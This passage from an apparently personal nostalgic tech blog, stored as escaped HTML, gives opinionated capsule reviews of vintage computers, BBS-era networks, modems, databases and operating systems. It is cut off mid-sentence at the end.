&lt;/dt&gt;&lt;dd&gt;Also known as models 5150, 5160, and 5170 respectively. This was the start  of the dreaded "PC" empire. The PC was introduced into the lively, competitive  and innovative home computer market of the 1980's...and it totally annihilated  it. Apple, Tandy, Atari, Commodore and others were no match for the attack of  the PC clone armies. IBM was relatively late to the PC market, but their Empire struck back, and the last of the Jedi went into hiding at Apple. We can  only hope that someday a rebel alliance will form that is capable of taking down  the PC.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/IBM_PC_Junior"&gt;IBM PC Junior&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;Wow, this computer was awful! It was a mismatch of technologies at every  level...somewhere between IBM PC and a &lt;a href="http://en.wikipedia.org/wiki/Speak_&amp;amp;_Spell_%28game%29"&gt;Speak n'  Spell&lt;/a&gt;. The keys on the &lt;a href="http://en.wikipedia.org/wiki/Chiclet_keyboard"&gt;chiclet keyboard&lt;/a&gt; were  soft and squishy, which made it feel like you were typing on a chew toy. You  fully expected the thing to squeak...but it didn't even do that! The keyboard  was wireless (good idea) but had a battery life of about 2 hours (tragically bad  idea). There is nothing worse than having your keyboard die and leave you with  no way to save your work.   With sufficient expensive upgrades, it could  &lt;strong&gt;almost&lt;/strong&gt; run full PC applications...which made it  &lt;strong&gt;almost&lt;/strong&gt; a useful computer. It died off very quickly and  mercifully.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Sun_Sparc"&gt;Sun Sparc Workstation&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;We used these in college by my senior year. These were made by this exciting  new computer company called "Sun". They were my first experience with &lt;a href="http://en.wikipedia.org/wiki/X_Window_System"&gt;X-Windows&lt;/a&gt;  running on Unix. It was also my first experience with giant seizure-inducing CRT  monitors. These were the days before we figured out that 60hz is not a  sufficient refresh rate for a large monochrome screen.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/NeXT"&gt;NeXT Workstation&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;This is one of my favorite computers of all time. It was a decade ahead of  its time. I don't make that claim lightly. It was everything the Mac OS/X  eventually became, only 10 years earlier. It had a fully graphical unix-based OS  long before Linux existed. Despite technical superiority in both hardware and  software, the NeXT never caught on. The NeXT came to market right at the height  of a recession, and right when the PC clones had already established market  dominance. Nobody wanted to take a risk on something fancier that couldn't run  IBM software.&lt;br /&gt;&lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Next_cube"&gt;NeXT Cube&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;A NeXT computer in a big cube. The cube shape gave it enough room for  internal CD-ROM drives. The NeXT was one of the first computers to offer CD-ROM  drives.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Lisp_machine"&gt;Symbolics' Lisp  Machine&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;A language-specific hardware implementation. I used this in college for my  Lisp class. It was a machine designed to run Lisp programs at the hardware  level. This was very cool! But it was a highly specialized machine developed at  a time when the market wanted general purpose machines. And to this day the  market has never turned away from general purpose machines. We want our PC's to  be able to do anything and be anything. And then we complain they are too  complex to use.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/HP_3000"&gt;HP 3000&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;I used one of these on my first job out of college, at the Naval Ordnance  Station in Louisville Ky. The HP 3000 is a legendary machine. But at the time, I  had no appreciation for that fact. Rather, I only saw it as disappointing that  this old 70's mainframe computer was still in use in 1993. Well, even in 2009  this computer still has many installations around the world and is *STILL* being  supported by HP!! HP will support it until 2010, and other vendors plan to carry  on support until 2013 and beyond.&lt;br /&gt;&lt;br /&gt;When the HP 3000 was first released,  it was a very popular alternative to the expensive IBM mainframes. As such,  there were many large and complicated software suites written for the HP 3000.  These were usually highly customized for each customer. When I worked at the  Naval Ordnance Station, we were running &lt;a href="http://en.wikipedia.org/wiki/Manufacturing_resource_planning"&gt;MRP&lt;/a&gt;  software on the HP3000 that had been developed over 10 years. Rewriting these  monster mainframe apps all over from scratch is a monumental task that is almost  never worth the modest functional improvements you would get by upgrading to a  new platform. This is why HP 3000's have taken so long to die. Besides, if you  can get by with text-mode applications that don't require large amounts of fast  computations, then computers from the 1970's can do pretty much anything  computers today can do.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Compaq_Portable"&gt;Compaq Portable  (luggable)&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;The first IBM-compatible computer ever. Today we often use the term "PC  Compatible" to mean "Intel/Windows Compatible". But back in these days the term  "PC Compatible" meant 100% compatible with the actual PC made by the actual IBM corporation. Once  Compaq opened the door to making IBM "clones", it began the slow but inevitable  decline of IBM as a PC maker. Really, the only thing that kept IBM in the PC  market for so many years was slavish devotion to IBM products by big  conservative corporations.&lt;br /&gt;&lt;br /&gt;Compaq computers were infamous for using  highly proprietary hardware that required equally proprietary drivers and OS  patches to use them. In the end, you had a computer than could run IBM software  just fine, but could not be upgraded or modified in any way without paying major  $$$ to Compaq. Clever!&lt;br /&gt;&lt;/dd&gt;&lt;dt&gt;&lt;strong&gt;Altec 486/66mhz&lt;/strong&gt;&lt;/dt&gt;&lt;dd&gt;This wast the first Wintel computer I ever owned (Windows 3.1). It was one  of the first computers to feature the &lt;a href="http://en.wikipedia.org/wiki/Intel_80486DX2"&gt;Intel 80486DX2&lt;/a&gt; "Clock  Doubled" (oooo!) CPU. It was also the first (and last) generation of computers  to sport &lt;a href="http://en.wikipedia.org/wiki/VESA_Local_Bus"&gt;VESA Local  Bus&lt;/a&gt; video cards.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Imac_g3"&gt;iMac G3&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;The first Macintosh I ever owned. My interest in Apple computers had faded  in the late 90's as Windows became overwhelmingly dominant on desktops. But when Apple  introduced a new Unix-based Operating System for the Mac, I became interested in  them all over again. The iMac was also a "cute" computer. It came in many colors  (or "flavors") like Strawberry, Blueberry, Grape, Ruby, and Flower Power. As a  marketing gimmick, the colors did help sell a fair number of iMac's, but soon the  fad wore off and Apple when back to making white iMacs.&lt;br /&gt;&lt;br /&gt;Steve Jobs has  spent his entire career trying to sell the fashion side of technology. The key  to fashion is giving people a way to express their individuality, and Jobs has  always promoted the visual and functional individualism of the Macintosh  computer. Individuality is fine for decorative aspects of technology, like  computer cases, but computer software demands conformity and standards above ALL  else, and this is why Apple has had such an incredibly difficult time breaking  any of Microsoft's monopolies.  &lt;br /&gt;&lt;br /&gt;But with the iPod, Apple entered a new  market that Microsoft did not already control with a software monopoly. Apple  made cute little music players that allow people to define their individuality  through their song lists, and they finally found the bridge between fashion and  technology that Jobs has been looking for all these years. AND, lucky for Apple,  they've found a way to make a Microsoft-like software lock with iTunes. Most  people have their music library stored in iTunes, and nobody in their right mind  would want to take on the hassle and expense of moving all their songs to  another brand of Music Library...even IF that other Music Library was  technically superior. Apple's Monopoly is like the purple Baltic/Mediterranean  Avenue Monopoly compared to Microsoft's control of all the blue, green, yellow,  red, and orange properties on the game board. But at least it keeps Apple in the  game.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Mac_mini"&gt;Mac Mini&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;I don't think this computer really had a clear target audience. Its main  selling point seems to be that it's very cute, and very small. I bought one 3  years ago, and I use it to this day as a web server and file server.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Amiga"&gt;Commodore Amiga&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;I never owned an Amiga, but used a friend's Amiga in college. For graphics  and animation, the Amiga had no equal. The Amiga technology was ahead of its  time, but was never fully understood in by the general public. Commodore did a  horrible job of marketing the Amiga, and all of its talents went largely  unnoticed. The Amiga showed a lot of heart and user loyalty, but in the end was  not victorious.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;In memory of the Commodore Amiga, I offer a most sincere &lt;a href="http://www.youtube.com/watch?v=QhTiJEYqqY8"&gt;slow clap&lt;/a&gt;.&lt;/strong&gt; &lt;/dd&gt;&lt;/dl&gt; &lt;br /&gt;&lt;h2&gt;The Internet before the web &lt;/h2&gt;The internet existed long before the Web  and all the "www" stuff came along. We did all the kinds of things people use  the internet for today, only it was done entirely through command-line text  interfaces.&lt;br /&gt;&lt;br /&gt;We had &lt;a href="http://en.wikipedia.org/wiki/FTP"&gt;FTP  sites&lt;/a&gt; for file sharing, &lt;a href="http://en.wikipedia.org/wiki/Telnet"&gt;TELNET&lt;/a&gt; for accessing remote  computers, &lt;a href="http://en.wikipedia.org/wiki/Gopher_%28protocol%29"&gt;Gopher&lt;/a&gt; for looking  up content, &lt;a href="http://en.wikipedia.org/wiki/IRC"&gt;IRC&lt;/a&gt; for chatting with  live people, and &lt;a href="http://en.wikipedia.org/wiki/Usenet"&gt;Usenet&lt;/a&gt; for  global message boards.&lt;br /&gt;&lt;br /&gt;These were all nice, but nothing killed time  quite like playing in a &lt;a href="http://en.wikipedia.org/wiki/Muds"&gt;MUD&lt;/a&gt;  RPG!! These were essentially text-only versions of World of Warcraft. They were  every bit as ground breaking as they were addicting. Now, I don't ever want to  be that old man who starts off a complaint with "Back in my day...", but I do at  least wonder if modern 3-D virtual worlds require less imagination than the  storybook text worlds of the old MUDs.  &lt;h2&gt;Communications before the Internet &lt;/h2&gt;Before the internet, we had modems!  Modems were the little boxes of magic that made everything happen and allowed  incompatible computers (and incompatible people) to talk to each other!  &lt;dl&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Bbs"&gt;BBS&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;Bulletin Board Systems. I used too many BBS's to list here. They were a major  part of my communication with the outside world and significantly shaped who I  am by exposing me to people and ideas outside of rural Kentucky. :)&lt;br /&gt;&lt;br /&gt;&amp;lt;soapbox&amp;gt;&lt;br /&gt;&lt;p style="margin: 0px 0px 0px 25px;"&gt;You really cannot overstate the  enlightenment that can occur from being able to talk to other people who have  different backgrounds, cultures, and ideas. The BBS communities created a  melting pot of people who would otherwise never talk to each other.&lt;br /&gt;&lt;br /&gt;However, the World Wide Web offers so many choices that it has had the  opposite effect on some people. It allows people to find whole sites dedicated  to people who are exactly like themselves and share the same ideas and  philosophies. Instead of exposing people to new ideas, it can allow people  withdraw even further into a cocoon of their own beliefs woven by people who are  just like them. If you want to believe in some &lt;a href="http://www.apfn.org/apfn/moon.htm"&gt;crackpot theory&lt;/a&gt;, you can find  enough "information" and official-looking citations on the Web to convince you  that your theory is true...no matter &lt;a href="http://www.alaska.net/%7Eclund/e_djublonskopf/Flatearthsociety.htm"&gt;what&lt;/a&gt;  &lt;a href="http://www.catholicintl.com/products/books/gwwprint.htm"&gt;that&lt;/a&gt; &lt;a href="http://www.theelvisisalivemuseum.com/home.htm"&gt;theory&lt;/a&gt; &lt;a href="http://www.intelligentdesign.org/"&gt;is&lt;/a&gt;.&lt;br /&gt;&lt;br/&gt;For the internet to be beneficial, people are going to have to learn how to filter through all this information without just filtering the things they want to hear. &lt;br /&gt;&lt;/p&gt;&amp;lt;/soapbox&amp;gt;&lt;br /&gt;&lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/FidoNet"&gt;FidoNet&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;A multi-hop system that allowed messages to bounce from BBS to BBS in order  to travel longer distances across the whole country. You could read and post on  remote message boards without incurring the long-distances charges.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Bitnet"&gt;BITNET&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;Early form of a "college" internet. I thought it was so cool when I received  my first "e-mail" from someone in another country. Now days I get spam from  Nigeria and Russia every day...and it's not at all cool. :(  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Compuserve"&gt;Compuserve&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;Before the Internet, this was *the* place for technical people and software  developers to meet and communicate and share information online. CompuServe was  like the ultimate mega-BBS, and it had dial up locations in every city.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/America_Online"&gt;America Online&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;Most people don't know that AOL had very humble beginnings as an online  dialup service for Apple II computers.  But AOL grew like crazy and eventually  became disparaged by tech-savvy people for bringing all of America onto the  Internet. Using AOL was a primary indication that you didn't really know how to  use a computer...and today that is more true than ever! :)&lt;br /&gt;&lt;/dd&gt;&lt;dt&gt;&lt;strong&gt;Dow Jones News/Retrieval Service&lt;/strong&gt;&lt;/dt&gt;&lt;dd&gt;I can't find any good references about this service. It still exists today,  but as an internet and web site service. Way back in the day, it was a dial-up  modem service that I used. You could download news stories and weather reports!  This is the kind of thing taken for granted today, but back in the early 80's  this was revolutionary. As far as I can tell...almost nobody used this service  except a few hackers and a lot of stock brokers.&lt;br /&gt;&lt;/dd&gt;&lt;dt&gt;&lt;strong&gt;File transfer sites and pirate sites.&lt;/strong&gt;&lt;/dt&gt;&lt;dd&gt;This is where I spent way too much time as a teenager. These sites were  nothing but collections of pirated software programs, updated continuously by  the major pirate organizations. These were they days before FTP, so we had such  wonderful file transfer protocols as: &lt;a href="http://en.wikipedia.org/wiki/Kermit_%28protocol%29"&gt;Kermit&lt;/a&gt;, &lt;a href="http://en.wikipedia.org/wiki/Xmodem"&gt;XModem&lt;/a&gt;, &lt;a href="http://en.wikipedia.org/wiki/Ymodem"&gt;YModem&lt;/a&gt;, &lt;a href="http://en.wikipedia.org/wiki/Zmodem"&gt;ZModem&lt;/a&gt;, and &lt;a href="http://en.wikipedia.org/wiki/Novation_CAT"&gt;CatFur&lt;/a&gt;.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Telenet"&gt;Telenet&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;Not to be confused with "Telnet". (Note the extra "e" in the name Telenet.)  Telenet was one of the first packet-switched networks. It was run by a startup  telephone company called "Sprint" (!) and they offered a service called "PC  Pursuit" that allowed you to make unlimited long-distance connections with your  modem for a flat fee. Your modem would dial into the hub in your local city, and  then dial out from a modem on the hub of the destination city. This was pretty  kludgey, and the bandwidth was only 1200 baud, but it did work! However, it  wasn't long before the pirate boards upgraded to 2400 baud (or even higher), and  refused to accept 1200 baud connections. And that pretty much ended Telenet.  &lt;/dd&gt;&lt;/dl&gt; &lt;h3&gt;The Modems!!! &lt;/h3&gt; &lt;dl&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Accoustic_coupler"&gt;Accoustic  Coupler&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;These were just weird...but they allowed two computers to talk to each other  in situations where nothing else worked. It assumed you had a standard AT&amp;amp;T  pre-breakup telephone handset. This is when all phones pretty much looked the  same. These days phones rarely have handsets at all!  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Novation_CAT"&gt;Novation AppleCat&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;This modem for the Apple II was absolutely the most legendary piece of  hardware made for the Apple. It was supposed to be just a 300 baud modem, but it  was so supremely over-engineered and so expandable that hackers soon found a ton  of unintended uses for it. It had a sophisticated four-voice sound synthesizer  that could be used to generate &lt;a href="http://en.wikipedia.org/wiki/Phreaking"&gt;phreaking&lt;/a&gt; signals. It could  also be used as a sophisticated sound card for the Apple ][. Many games were  written where you would choose from a list of sound cards your computer  supported, and one of the sound card choices was "Apple Cat Modem". By using a  half-duplex hack, it could even do 1200 baud communications in one direction.  For all these reasons, it became the must-have device for hackers, phreakers,  and pirates.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Hayes_Microcomputer_Products"&gt;Hayes  Micromodem II &lt;/a&gt; &lt;/dt&gt;&lt;dd&gt;Hayes made a very Borg-like entry into the modem market and established  standards for all modems. Soon, all other modems and modem software had to be  certified "Hayes Compatible" or they wouldn't sell. Mostly "Hayes Compatible"  meant being compatible with the &lt;a href="http://en.wikipedia.org/wiki/Hayes_AT"&gt;Hayes "AT" Commands&lt;/a&gt;. But as  higher-speed dial-up communications became &lt;a href="http://en.wikipedia.org/wiki/V.32bis"&gt;standardized&lt;/a&gt;, Hayes became just  another maker of commodity modems and lost out to competition from Zoom and U.S.  Robotics. I also remember a lot of confusing caused by the wide range of  fast-changing standard. (v.32bis, v.90, v.92, v.42bis, etc).  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/US_Robotics"&gt;U.S. Robotics&lt;/a&gt;&lt;br /&gt;&lt;/dt&gt;&lt;dd&gt;This company has such a cool name. It's a shame they weren't famous for any  actual robotics. U.S. Robotics was the very last modem I ever owned. It's been  collecting dust since November of 2000. U.S. Robotics &lt;a href="http://www.usr.com/home.asp"&gt;still exists today&lt;/a&gt;. They still make  modems and employ a grand total of 125 people. Here is there sad and always  empty &lt;a href="http://www.usr.com/inside/in-careers.asp"&gt;jobs page&lt;/a&gt;.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Zoom_Telephonics"&gt;Zoom Modem&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;Made by Zoom Telephonics. These gained large market sure in the 90's due to  their low cost and adequate functionality. I've had two Zoom modems in my life,  and both of them were dirt cheap and about 95% reliable. Zoom eventually bought  out Hayes and still supports the dying embers of the Hayes brand to this day.  &lt;/dd&gt;&lt;/dl&gt; &lt;h2&gt;Databases and Office Suites &lt;/h2&gt; &lt;dl&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Appleworks"&gt;AppleWorks&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;The first "Office" Suite for the Apple ][. It had a full-featured Word  Processor, SpreadSheet, and Database. It does 90% of what a modern Office Suite  does (in text mode), but it's only 230K in size, and runs in 128k of memory.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/DBASE"&gt;dBase&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;A pioneering database product for micro-computers in the 80's. But  unfortunately it gained a bad reputation after Borland bought it in the 90's.  Borland probably meant well...in the same way that a child means well when they  decorate a wall with permanent marker.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Paradox_%28database%29"&gt;Paradox&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;Technology is already scary enough to most people, so don't name your  product anything like "Paradox". That's like naming an automobile "Crash".  "Introducing the 2009 series Toyota Crash and Ford Rollover".  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Quattro_Pro"&gt;Quattro Pro&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;Quattro Pro was legendary for the legal issues it raised in regards to how  to copyright software. Quattro Pro designed its menus and key sequences to be  identical to Lotus 1-2-3. It did this intentionally to allow users to switch  easily, and for the benefit of having a "standard" for spreadsheets. Lotus sued  and the case went all the way to the Supreme Court where it ended with a 4-4  tie. (1 justice recused himself)  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/VisiCalc"&gt;Visicalc&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;This was the first practical spreadsheet ever made for a personal computer.  Unfortunately, I was 11 years old at the time I pirated my own copy...so I  couldn't figure out for the life of me what to do with a "spread sheet". It  seemed to me like an awfully complicated way to add numbers.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/TurboIMAGE"&gt;HP TurboImage&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;This was a highly popular pre-SQL database. It was a hierarchical database,  not a relational database. The difference being that you didn't really "join"  tables. The only kind of relationship supported was parent-child. That's all you  had to work with.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Sybase_SQL_Server"&gt;Sybase SQL  Server&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;At their height in 1995, Sybase competed equally with Oracle for the #1  position in the database market. They also had the #1 RAD Application  Development tool of the day: PowerBuilder. A combination of bad moves on  Sybase's part and several power grabs on Microsoft's part left Sybase nearly  dead just 2 years later. By 1997, Microsoft had interlocking monopolies on the  Operating Systems, Office Suites, and development tools. Soon after Sybase and  PowerBuilder shops had turned into Microsoft SQLServer and Visual Basic shops.  WordPerfect shops had switched to Word. OS/2 shops switch to Windows 95. Borland  C++ developers switched to Visual C++. Many legitimate lawsuits were filed  against Microsoft in the late 90's, but all fizzled when George W. Bush "took"  office in 2000. &lt;/dd&gt;&lt;dd&gt;&lt;br /&gt;&lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Clipper_programming_language"&gt;Clipper&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;This was an amazingly popular product...for about 8 months. This is the  closest thing to a true "fad" I've ever seen in the database market.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/FoxPro_2"&gt;Foxpro&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;A powerful database package that addresses no known problem. It nevertheless  gained some popularity among the power-user crowd. But Foxpro was data napalm,  and the I.T. community spent a large part of the late 90's putting out the  fires.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Microsoft_access"&gt;Microsoft Access&lt;/a&gt;   &lt;/dt&gt;&lt;dd&gt;If you can click a mouse, you can write a database application...in the same  sense that if you can jump off a building, then you can learn to fly. It only  works up to a point. That point is discovered only when I.T. get's an emergency  phone call to fix their impossibly complicated or corrupted Microsoft Access  system.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/IBM_DB2"&gt;DB2&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;The oldest relational database still in appreciable use today. It is the  closest thing to a zombie there is in the software world. It is neither alive  nor dead, but it is terrifying to software developers everywhere.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Microsoft_SQL_Server"&gt;Microsoft SQL  Server&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;Microsoft virtually stole this database from Sybase, and then ran with it  and turned it into an empire.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Windows_Registry"&gt;The Windows  Registry&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;&lt;strong&gt;Stand back...this is a rant is 15 years in the making:&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;The Windows Registry was one of the worst ideas in the long, sad history  of bad ideas in technology. Seriously, this is like someone ate a big bowl of  stupid, washed it down with a tall glass of fresh-squeezed stupid juice, sat  down in the two-legged stupid chair, un-learned two decades worth of  advancements in database technologies, and proceeded to create yet another  Achilles' heel in an operating system that already had more weak heels than a  discount shoe store!&lt;br /&gt;&lt;br /&gt;All the justifications for the registry are  baloney, and I can pick them apart one at a time. Whatever they were trying to  do could have been done in a dozen better ways.&lt;br /&gt;&lt;br /&gt;What they ended up  creating is an unstable, unmaintainable, cryptic, and entropy-generating  database that is responsible for the management of every critical software  component on your entire computer. One bit of corruption in the registry can  render your entire computer unbootable. Unused and orphaned entries will rot the  registry and cause a terminal degradation of your entire system over time. The  size, complexity, and cryptic nature of the registry also make it the PERFECT  hiding place for all manner of unwanted spyware, trayware, tickware, and  clingware.&lt;br /&gt;&lt;br /&gt;The system-degrading and parasite-hiding nature of the  Windows Registry has resulted in the formation of an entire cottage industry of  registry cleaning products. Do a Google search for "Registry Cleaner". You'll  find over 50 pages worth of software and articles that feed a hungry population  of computer users who are desperate to find something to fix their Windows  Registry.&lt;br /&gt;&lt;br /&gt;Of course, all of these programs are pretty much useless,  because it's nearly impossible for a software program to distinguish good  entries from bad in this haphazard jumble of data values that have no  referential integrity whatsoever. There no way to tell the  who/what/when/where/why of any item in the registry. Cleaning the registry is  like trying to remove yesterday's raindrops from a lake.&lt;br /&gt;&lt;br /&gt;Thank you  Microsoft for seeding every copy of your Operating System with a malignant  cancer. Thank you for this rare example of Microsoft innovation, because I'm  sure nobody else would have thought of storing system-critical information in a  database that operates on the &lt;a href="http://en.wikipedia.org/wiki/Butterfly_effect"&gt;Butterfly Effect&lt;/a&gt;.  &lt;/dd&gt;&lt;/dl&gt; &lt;h2&gt;Operating Systems &lt;/h2&gt; &lt;dl&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Apple_DOS"&gt;Apple DOS 3.2, 3.3&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;The first and simplest operating system for the Apple II computer. I still  use it to this day. My copy hasn't been patched since 1981, and yet it's  COMPLETELY safe to use. The bare-bones technology, lack of multi-tasking, and  limited ability to connect to other computers make it virtually virus-proof.  &lt;/dd&gt;&lt;dt&gt;&lt;strong&gt;UniDos 3.3&lt;/strong&gt;&lt;/dt&gt;&lt;dd&gt;I may be one of the few people in the whole wide world who remembers this.  Even Wikipedia doesn't know what this is. It was a version of DOS 3.3 that could  run on 3.5" UniDisk floppies. This gave you a DOS 3.3 disk with a whopping 400k  of storage. *WOW*  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/TOPS-10"&gt;TOPS-10&lt;/a&gt; (PDP-10)  &lt;/dt&gt;&lt;dd&gt;Operating System for the legendary PDP-10.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://apple2history.org/history/ah15.html"&gt;David Dos&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;This was back in the cool days of software when all programs were small and  could be written by one person. In this case some dude, who I assume was named  "David", wrote his own modified version of Apple DOS. The biggest feature of  David DOS was that it could view text files...much like the "cat" command in  Unix. No other DOS for the Apple II had this ability.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://apple2history.org/history/ah15.html"&gt;ProntoDos&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;A performance-tuned version of Apple DOS.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/PRODOS"&gt;Apple ProDos 1.0, 1.1 Apple  ProDos 8 Apple ProDos 16&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;ProDos was the eventual replacement for Apple DOS 3.3. ProDos supported  fancy features...like sub-directories on a disk. However, ProDos was larger and  slower. Given that the Apple ][ never got a significant performance boost in  its entire 16 year history, it was difficult for ProDos to catch on and be  popular on that platform. I still prefer DOS 3.3 myself. However, ProDos did  eventually shine on the Apple ][GS platform where bigger drives and faster  processors were common.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/GEOS_%288-bit_operating_system%29"&gt;GEOS&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;A lightweight graphical OS built for resource-constrained 8-bit computers  like the Apple ][ and C-64. It had windows and word processors and graphic  editors and mouse support and allowed 8-bit computers to rival the functionality  of the Macintosh. It was probably the pinnacle of technical achievement for 8-bit  computers...but it still died right along with them.&lt;br /&gt;&lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/MS_DOS"&gt;MS DOS 3.3, 4, 5, 6, 7&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;The dreaded ubiquitous lame Operating System that became the defacto  standard for the IBM PC computer. It features a command-line interface that  offered very few useful commands, and it responded to all errors with the  infamous &lt;a href="http://en.wikipedia.org/wiki/Abort_Retry_Fail"&gt;(A)bort,  (R)etry, (F)ail&lt;/a&gt;. "Retry" never works and there is no meaningful difference  between "Abort" and "Fail".  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/PC_DOS"&gt;PC DOS &lt;/a&gt; &lt;/dt&gt;&lt;dd&gt;IBM's MS-DOS compatible Operating System. PC-DOS and MS-DOS are no longer  supported. And yet both IBM and Microsoft forbid you to distribute these  Operating Systems without paying exorbitant fees. This has spawned the creation  of &lt;a href="http://en.wikipedia.org/wiki/FreeDOS"&gt;FreeDos&lt;/a&gt;  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/SCO_OpenServer"&gt;SCO Unix&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;One of my first jobs out of college was to write an Ada wrapper around &lt;a href="http://en.wikipedia.org/wiki/X_Window_System"&gt;X-Windows&lt;/a&gt; libraries. We did our work on SCO Unix, because it was one of the very  few Unix platforms that could run on a modest Intel computer. At the time, I  really liked SCO. 10 years later, SCO sold its soul (I think literally) to  Microsoft and executed a suicide attack against IBM. IBM was damaged but emerged  victorious, and now SCO is dead.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/NeXTSTEP"&gt;NeXTSTEP&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;This OS was 10 years ahead of its time. It was everything Linux should have  been, and everything Mac OS/X eventually became. Mac OS/X is a direct descendant  of NeXTSTEP.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Solaris_%28operating_system%29"&gt;Solaris  Unix&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;In my opinion, this is the greatest commercial version of Unix ever created,  and the greatest server OS in existence today. This is the pinnacle of mankind's  achievements in the field of Operating System. However...it is also fairly  expensive and tends to favor proprietary hardware. Companies have discovered  that in most cases the features of Linux will suffice, so they don't need to buy  Solaris.&lt;br /&gt;&lt;br /&gt;The sad story of Linux is that Linux did FAR more damage to  commercial Unix than it ever did Windows and Microsoft. You will see a recurring  theme in computing history where great 